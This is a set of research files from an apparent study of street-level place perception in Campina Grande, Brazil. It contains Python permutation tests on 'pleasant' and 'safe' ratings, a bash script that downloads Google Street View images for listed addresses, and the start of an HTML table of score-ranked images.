# print
# print '--'
#sampling qscores from single file
df = pd.read_csv('geralSetoresAJ.dat', sep=' ', encoding='utf8')
df = df.drop(['red', 'green', 'blue', 'hor', 'vert', 'diag'], axis=1)
for neig in ['catole', 'centro', 'liberdade']:
all_res = []
all_res.append(ptest(df, 'CCatole', 'NCCatole', 'agradavel?', bairro=neig, num_permut=num_it))
all_res.append(ptest(df, 'CCentro', 'NCCentro', 'agradavel?', bairro=neig, num_permut=num_it))
all_res.append(ptest(df, 'CLiberdade', 'NCLiberdade', 'agradavel?', bairro=neig, num_permut=num_it))
all_res.append(ptest(df, 'CCatole', 'NCCatole', 'seguro?', bairro=neig, num_permut=num_it))
all_res.append(ptest(df, 'CCentro', 'NCCentro', 'seguro?', bairro=neig, num_permut=num_it))
all_res.append(ptest(df, 'CLiberdade', 'NCLiberdade', 'seguro?', bairro=neig, num_permut=num_it))
# all_res.append(ptestFromFiles(num_it, 'agradavel?', neig=neig))
# all_res.append(ptestFromFiles(num_it, 'seguro?', neig=neig))
#Files not created with these columns!
#if neig == 'catole':
# all_res.append(ptestFromFiles(num_it, 'CCatole', 'NCCatole', 'agradavel?', neig=neig))
# all_res.append(ptestFromFiles(num_it, 'CCatole', 'NCCatole', 'seguro?', neig=neig))
# elif neig == 'centro':
# all_res.append(ptestFromFiles(num_it, 'CCentro', 'NCCentro', 'agradavel?', neig=neig))
# all_res.append(ptestFromFiles(num_it, 'CCentro', 'NCCentro', 'seguro?', neig=neig))
# else:
# all_res.append(ptestFromFiles(num_it, 'CLiberdade', 'NCLiberdade', 'agradavel?', neig=neig))
# all_res.append(ptestFromFiles(num_it, 'CLiberdade', 'NCLiberdade', 'seguro?', neig=neig))
#all_res.append(ptestFromFiles(num_it, 'MenorMed', 'MaiorMed', 'agradavel?', neig=neig))
#all_res.append(ptestFromFiles(num_it, 'MenorMed', 'MaiorMed', 'seguro?', neig=neig))
# print ">>>> Neighborhoods: ", neig
# for index in xrange(len(all_res)):
# data = all_res[index]#All data for one question
# for j in xrange(len(data)):
# r = all_res[index][j]
# print r[0]
# for i, f in enumerate(r[-1]):
# print f[0], r[1][i]
# print 'pval', r[2][i]
# print
# print '--'
print ">>>> Setor: ", neig
for r in all_res:
print r[0]
for i, f in enumerate(r[-1]):
print f[0], r[1][i]
print 'pval', r[2][i]
print
print '--'
#for sector in ['25040090500004', '250400905000013', '250400905000060', '250400905000062', '250400905000095', '250400905000089']:
# all_res = []
#
# all_res.append(ptestFromFiles(num_it, 'agradavel?', sector=sector))
# all_res.append(ptestFromFiles(num_it, 'seguro?', sector=sectorg))
#
# print ">>>> Sector: ", sector
# for index in xrange(len(all_res)):
# data = all_res[index]#All data for one question
# for j in xrange(len(data)):
# r = all_res[index][j]
# print r[0]
# for i, f in enumerate(r[-1]):
# print f[0], r[1][i]
# print 'pval', r[2][i]
# print
# print '--'
#sampling qscores from single file
#df = pd.read_csv('geralRankAJ.dat', sep=' ', encoding='utf8')
#df = df.drop(['red', 'green', 'blue', 'hor', 'vert', 'diag'], axis=1)
#
#all_res = []
#
#all_res.append(ptest(df, 'Masculino', 'Feminino', 'agradavel?'))
#all_res.append(ptest(df, 'Masculino', 'Feminino', 'seguro?'))
#
#all_res.append(ptest(df, 'Jovem', 'Adulto', 'agradavel?'))
#all_res.append(ptest(df, 'Jovem', 'Adulto', 'seguro?'))
#
#all_res.append(ptest(df, 'Solteiro', 'Casado', 'agradavel?'))
#all_res.append(ptest(df, 'Solteiro', 'Casado', 'seguro?'))
#
#all_res.append(ptest(df, 'Baixa', 'Media', 'agradavel?'))
#all_res.append(ptest(df, 'Baixa', 'Media', 'seguro?'))
#
#all_res.append(ptest(df, 'Medio', 'Pos', 'agradavel?'))
#all_res.append(ptest(df, 'Medio', 'Pos', 'seguro?'))
#for bairro in ['catole', 'centro', 'liberdade']:
# all_res = []
#
# all_res.append(ptest(df, 'Masculino', 'Feminino', 'agradavel?', bairro=bairro))
# all_res.append(ptest(df, 'Masculino', 'Feminino', 'seguro?', bairro=bairro))
#
# all_res.append(ptest(df, 'Jovem', 'Adulto', 'agradavel?', bairro=bairro))
# all_res.append(ptest(df, 'Jovem', 'Adulto', 'seguro?', bairro=bairro))
#
# all_res.append(ptest(df, 'Solteiro', 'Casado', 'agradavel?', bairro=bairro))
# all_res.append(ptest(df, 'Solteiro', 'Casado', 'seguro?', bairro=bairro))
#
# all_res.append(ptest(df, 'Baixa', 'Media', 'agradavel?', bairro=bairro))
# all_res.append(ptest(df, 'Baixa', 'Media', 'seguro?', bairro=bairro))
#
# all_res.append(ptest(df, 'Medio', 'Pos', 'agradavel?', bairro=bairro))
# all_res.append(ptest(df, 'Medio', 'Pos', 'seguro?', bairro=bairro))
#
# if bairro == 'catole':
# all_res.append(ptest(df, 'CCatole', 'NCCatole', 'agradavel?', bairro=bairro))
# all_res.append(ptest(df, 'CCatole', 'NCCatole', 'seguro?', bairro=bairro))
# elif bairro == 'centro':
# all_res.append(ptest(df, 'CCentro', 'NCCentro', 'agradavel?', bairro=bairro))
# all_res.append(ptest(df, 'CCentro', 'NCCentro', 'seguro?', bairro=bairro))
# else:
# all_res.append(ptest(df, 'CLiberdade', 'NCLiberdade', 'agradavel?', bairro=bairro))
# all_res.append(ptest(df, 'CLiberdade', 'NCLiberdade', 'seguro?', bairro=bairro))
#
# all_res.append(ptest(df, 'MenorMed', 'MaiorMed', 'agradavel?', bairro=bairro))
# all_res.append(ptest(df, 'MenorMed', 'MaiorMed', 'seguro?', bairro=bairro))
#
# print ">>>> Bairro: ", bairro
# for r in all_res:
# print r[0]
# for i, f in enumerate(r[-1]):
# print f[0], r[1][i]
# print 'pval', r[2][i]
# print
# print '--'
#
#df = pd.read_csv('geralSetoresAJ.dat', sep=' ', encoding='utf8')
#df = df.drop(['red', 'green', 'blue', 'hor', 'vert', 'diag'], axis=1)
#for setor in ['25040090500004', '250400905000013', '250400905000060', '250400905000062', '250400905000095', '250400905000089']:
# all_res = []
#
# all_res.append(ptest(df, 'Masculino', 'Feminino', 'agradavel?', setor=setor))
# all_res.append(ptest(df, 'Masculino', 'Feminino', 'seguro?', setor=setor))
#
# all_res.append(ptest(df, 'Jovem', 'Adulto', 'agradavel?', setor=setor))
# all_res.append(ptest(df, 'Jovem', 'Adulto', 'seguro?', setor=setor))
#
# all_res.append(ptest(df, 'Solteiro', 'Casado', 'agradavel?', setor=setor))
# all_res.append(ptest(df, 'Solteiro', 'Casado', 'seguro?', setor=setor))
#
# all_res.append(ptest(df, 'Baixa', 'Media', 'agradavel?', setor=setor))
# all_res.append(ptest(df, 'Baixa', 'Media', 'seguro?', setor=setor))
#
# all_res.append(ptest(df, 'Medio', 'Pos', 'agradavel?', setor=setor))
# all_res.append(ptest(df, 'Medio', 'Pos', 'seguro?', setor=setor))
#
# if setor == '250400905000060' or setor == '250400905000062':
# all_res.append(ptest(df, 'CCatole', 'NCCatole', 'agradavel?', setor=setor))
# all_res.append(ptest(df, 'CCatole', 'NCCatole', 'seguro?', setor=setor))
# elif setor == '25040090500004' or setor == '250400905000013':
# all_res.append(ptest(df, 'CCentro', 'NCCentro', 'agradavel?', setor=setor))
# all_res.append(ptest(df, 'CCentro', 'NCCentro', 'seguro?', setor=setor))
# else:
# all_res.append(ptest(df, 'CLiberdade', 'NCLiberdade', 'agradavel?', setor=setor))
# all_res.append(ptest(df, 'CLiberdade', 'NCLiberdade', 'seguro?', setor=setor))
#
#all_res.append(ptest(df, 'MenorMed', 'MaiorMed', 'agradavel?', setor=setor))
#all_res.append(ptest(df, 'MenorMed', 'MaiorMed', 'agradavel?', setor=setor))
#
#
# print ">>>> Setor: ", setor
# for r in all_res:
# print r[0]
# for i, f in enumerate(r[-1]):
# print f[0], r[1][i]
# print 'pval', r[2][i]
# print
# print '--'
<file_sep>#!/bin/bash
# This script is used to download photos from Google Street View - according to pre-selected places in order to evaluate perceptions of a place!
#design 1: places=( "Rua In<NAME> 294" "Rua Inacio <NAME> 434" "Rua Inacio <NAME> Silva 520" "Rua Edesio Silva 602" "Rua Edesio Silva 522" "Rua Edesio Silva 474" "Rua Edesio Silva 352" "Avenida Prefeito Severino Bezerra Cabral 38" "Avenida Prefeito Severino Bezerra Cabral 218" "Avenida Prefeito Severino Bezerra Cabral 492" "Avenida Prefeito Severino Bezerra Cabral 774" "Rua Cristina Procopio da Silva 62" "Rua Cristina Procopio da Silva 436" "Rua Cristina Procopio da Silva 282" "Rua Cristina Procopio da Silva 64" "Avenida Presidente Getulio Vargas 206" "Avenida Presidente Getulio Vargas 118" "Avenida Presidente Getulio Vargas 280" "Avenida Presidente Getulio Vargas 610" "Rua Manoel P. de Araujo 370" "Rua Manoel P. de Araujo 222" "Rua Manoel P. de Araujo 450" "Vidal de Negreiros 91" "Vidal de Negreiros 48" "Vidal de Negreiros 299" "Vidal de Negreiros 253" "Treze de Maio 132" "Treze de Maio 276" "Treze de Maio 110" "Treze de Maio 338")
#design 2: places=( "<NAME> 70" "<NAME> 202" "R. <NAME> 306" "R. <NAME> 474" "R. <NAME> 602" " R. <NAME> 650" "R. <NAME> 900" "R. <NAME> 1136" "R. <NAME> 1246" "R. <NAME> 1546" "R. <NAME> 360" "R. <NAME> 500" "R. <NAME> Silva 239" "R. <NAME> Silva 120" "R. <NAME> Silva 54" "<NAME> 392" "<NAME> 370" "R. <NAME>újo 300" "<NAME> 222" "R. <NAME> 188" "<NAME> 360" "<NAME> 284" "<NAME> 248" "<NAME> 190" "<NAME> 130" "<NAME> 2" "<NAME> 66" "<NAME> 261" "<NAME> 305" "<NAME> 436" "Av. Pref. Severino Bezerra Cabral 60" "Av. Pref. Severino Bezerra Cabral 218" "Av. Pref. Severino Bezerra Cabral 832" "Av. Pref. Severino Bezerra Cabral 492" "Av. Pref. Severino Bezerra Cabral 710" "Av. Mal. Floriano Peixoto 913 - 882?" "Avenida Macheral Floriano Peixoto 813 - 826, Centro" "Av. Mal. Floriano Peixoto 691 - 660" "Av. Mal. Floriano Peixoto 549-580" "Av. Mal. Floriano Peixoto 445 - 456" "R. Marquês do Herval 15" "R. Marquês do Herval 30" "R. Marquês do Herval 68" "R. Marquês do Herval 145")
#Edesio: 22 135 203 315
#Inacio: 22 90ou112 203 270ou293
#Manoel: 22 135 203 315
#Maciel Pinheiro: 360 112 180 270
places=()
for street in "${places[@]}" ; do
echo $street
#
for angle in 10 22 45 67 90 112 135 157 180 203 225 247 270 293 315 337 360 ; do
streetFullName="$street, Campina Grande"
#streetFullName="$street"
echo ">>>>> FULL NAME $streetFullName"
streetPrefix="${street// /_}"
wget "http://maps.googleapis.com/maps/api/streetview?size=640x480&location=${streetFullName}&heading=${angle}&fov=90&pitch=0&sensor=false&key=<KEY>0m3I1k"
mv streetview* $streetPrefix\_$angle.jpg
done
done
<file_sep><meta content="text/html; charset=UTF-8" http-equiv="content-type"><body style="overflow:scroll">
<h2>agrad%C3%A1vel?</h2><table>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_580_112.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_580_112.jpg 7.99205803533</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_436_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_436_22.jpg 6.91853448553</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_66_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_66_315.jpg 6.79604709472</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_261_225.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_261_225.jpg 6.68919209221</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_436_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_436_315.jpg 6.584616991</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_436_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_436_135.jpg 6.50654392589</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_66_225.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_66_225.jpg 6.49385190463</td>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_445_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_445_22.jpg 6.41167746414</td>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_912_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_912_203.jpg 6.31959262461</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_691_293.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_691_293.jpg 6.31315030836</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_261_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_261_315.jpg 6.15651414514</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_120_293.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_120_293.jpg 6.01603831511</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_66_45.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_66_45.jpg 6.00769889624</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_22.jpg 5.99456592304</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_306_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_306_203.jpg 5.97213824738</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_660_112.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_660_112.jpg 5.95769927613</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1546_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1546_22.jpg 5.94288971995</td>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_580_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_580_203.jpg 5.90999926745</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_826_112.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_826_112.jpg 5.88162013508</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_239_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_239_270.jpg 5.86468371468</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_239_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_239_90.jpg 5.84902433786</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_239_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_239_203.jpg 5.81067755356</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_120_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_120_22.jpg 5.80752652939</td>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_480_112.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_480_112.jpg 5.77118382152</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_261_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_261_22.jpg 5.77051418391</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_239_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_239_22.jpg 5.74787372888</td>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_549_293.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_549_293.jpg 5.74220638327</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_261_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_261_135.jpg 5.71129786618</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_306_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_306_22.jpg 5.68451131212</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_248_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_248_180.jpg 5.631704763</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1546_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1546_315.jpg 5.59284910389</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1546_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1546_135.jpg 5.5633978868</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_54_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_54_22.jpg 5.50553419411</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_284_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_284_180.jpg 5.47835619088</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_360_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_360_203.jpg 5.47548279795</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_248_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_248_90.jpg 5.40262179376</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_445_293.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_445_293.jpg 5.39084763095</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_602_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_602_315.jpg 5.36631755469</td>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_813_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_813_22.jpg 5.31219412395</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_691_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_691_22.jpg 5.30018896612</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_66_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_66_135.jpg 5.28689330486</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_360_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_360_22.jpg 5.28586072475</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_130_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_130_90.jpg 5.2692623146</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_190_360.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_190_360.jpg 5.22313465421</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1546_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1546_203.jpg 5.19900680326</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_306_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_306_135.jpg 5.16114262283</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_130_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_130_270.jpg 5.14630389459</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_190_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_190_270.jpg 5.14366661215</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_120_112.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_120_112.jpg 5.11235786921</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_602_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_602_22.jpg 5.08777438335</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_54_112.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_54_112.jpg 5.07046906342</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_284_360.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_284_360.jpg 5.04320327436</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_360_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_360_270.jpg 5.03423625233</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_2_225.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_2_225.jpg 5.00667235775</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_90.jpg 4.95014442219</td>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_912_112.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_912_112.jpg 4.93997346076</td>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_480_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_480_203.jpg 4.93722087136</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_284_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_284_90.jpg 4.90059235255</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_360.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_360.jpg 4.88918833574</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_190_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_190_90.jpg 4.86504368343</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_2_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_2_135.jpg 4.78007538315</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_130_360.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_130_360.jpg 4.72059887124</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_248_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_248_270.jpg 4.67320767638</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_90.jpg 4.6630351024</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_2_45.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_2_45.jpg 4.6474651661</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_130_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_130_180.jpg 4.6290842573</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_2_293.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_2_293.jpg 4.62459159516</td>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_826_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_826_203.jpg 4.61778893483</td>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_813_293.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_813_293.jpg 4.60956257902</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1136_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1136_315.jpg 4.57959201355</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1136_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1136_135.jpg 4.57507969641</td>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_660_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_660_203.jpg 4.55015523208</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_305_45.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_305_45.jpg 4.54453704891</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_203.jpg 4.52435748162</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_54_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_54_203.jpg 4.48545398249</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_248_360.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_248_360.jpg 4.45005804735</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_602_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_602_135.jpg 4.41870978726</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_360_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_360_90.jpg 4.33012183595</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_270.jpg 4.319904109</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_190_180.jpg" width="400" height="300"></td>
